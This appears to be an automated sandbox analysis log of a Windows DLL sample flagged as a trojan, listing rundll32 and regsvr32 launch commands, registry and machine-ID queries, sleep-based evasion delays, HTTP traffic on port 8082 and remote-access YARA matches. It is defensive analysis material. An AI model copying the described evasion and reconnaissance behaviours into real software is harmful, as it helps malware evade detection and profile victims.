Source: unknown Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\8082-x86.dll"
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\8082-x86.dll",#1
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\8082-x86.dll
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\8082-x86.dll",#1
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\8082-x86.dll,DllGetClassObject
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\8082-x86.dll,DllMain
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\8082-x86.dll,DllRegisterServer
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\8082-x86.dll",#1 Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\8082-x86.dll Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\8082-x86.dll,DllGetClassObject Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\8082-x86.dll,DllMain Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\8082-x86.dll,DllRegisterServer Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\8082-x86.dll",#1 Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5568:120:WilError_01
Source: classification engine Classification label: mal100.troj.winDLL@14/0@0/1
Source: 8082-x86.dll Static PE information: Image base 0x6bac0000 > 0x60000000
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE71FA push ss; ret 0_3_00CE720F
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE13E7 push FFFFFFC0h; ret 0_3_00CE13F3
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CEB4DA push esi; ret 0_3_00CEB4DD
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CEB59F push esi; retf 0_3_00CEB59E
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CEB59F push esi; iretd 0_3_00CEB5FE
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CEB556 push esi; retf 0_3_00CEB59E
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE0527 push FFFFFF99h; ret 0_3_00CE0533
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE06D9 push eax; ret 0_3_00CE06E6
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE166C pushfd ; ret 0_3_00CE1672
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE4668 push edi; ret 0_3_00CE4677
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE0634 push eax; ret 0_3_00CE063D
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE07CD push ecx; ret 0_3_00CE07D4
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE07C4 push ecx; ret 0_3_00CE07CB
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE17DE push edx; ret 0_3_00CE17EF
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE078D push ecx; ret 0_3_00CE0797
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE179A pushfd ; ret 0_3_00CE17B3
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE07BB push ecx; ret 0_3_00CE07C2
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE0756 push ecx; ret 0_3_00CE0764
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE0766 push ecx; ret 0_3_00CE0770
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE0774 push ecx; ret 0_3_00CE077F
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE68E7 push esp; ret 0_3_00CE68EF
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE18A6 push FFFFFFC2h; ret 0_3_00CE1891
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE1867 push FFFFFFC2h; ret 0_3_00CE1891
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE087E push edx; ret 0_3_00CE0887
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE0834 push edx; ret 0_3_00CE0853
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE0972 push ebx; ret 0_3_00CE0978
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE0917 push edx; ret 0_3_00CE091D
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE9ADA push FFFFFFC3h; ret 0_3_00CE9AF9
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE1A91 pushad ; iretd 0_3_00CE1A93
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE1A7D pushad ; retf 0_3_00CE1A86
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE4B84 push ebx; ret 0_3_00CE4B85
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\8082-x86.dll

Hooking and other Techniques for Hiding and Protection

barindex
Source: unknown Network traffic detected: HTTP traffic on port 49685 -> 8082
Source: unknown Network traffic detected: HTTP traffic on port 8082 -> 49685
Source: unknown Network traffic detected: HTTP traffic on port 49686 -> 8082
Source: unknown Network traffic detected: HTTP traffic on port 8082 -> 49686
Source: unknown Network traffic detected: HTTP traffic on port 49687 -> 8082
Source: unknown Network traffic detected: HTTP traffic on port 8082 -> 49687
Source: unknown Network traffic detected: HTTP traffic on port 49688 -> 8082
Source: unknown Network traffic detected: HTTP traffic on port 8082 -> 49688
Source: unknown Network traffic detected: HTTP traffic on port 49689 -> 8082
Source: unknown Network traffic detected: HTTP traffic on port 8082 -> 49689
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: all processes Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected
Source: C:\Windows\System32\loaddll32.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Thread delayed: delay time: 120000 Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Thread delayed: delay time: 31329 Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Thread delayed: delay time: 34974 Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Thread delayed: delay time: 31989 Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE9004 mov eax, dword ptr fs:[00000030h] 0_3_00CE9004
Source: C:\Windows\System32\loaddll32.exe Code function: 0_3_00CE8374 mov eax, dword ptr fs:[00000030h] 0_3_00CE8374
Source: all processes Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\8082-x86.dll",#1 Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_009558DD GetUserNameA,_strrchr,__snprintf, 0_2_009558DD

Remote Access Functionality

barindex
Source: Yara match File source: 00000000.00000003.364898115.0000000000CE0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: loaddll32.exe PID: 5560, type: MEMORYSTR
Source: Yara match File source: 8082-x86.dll, type: SAMPLE
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs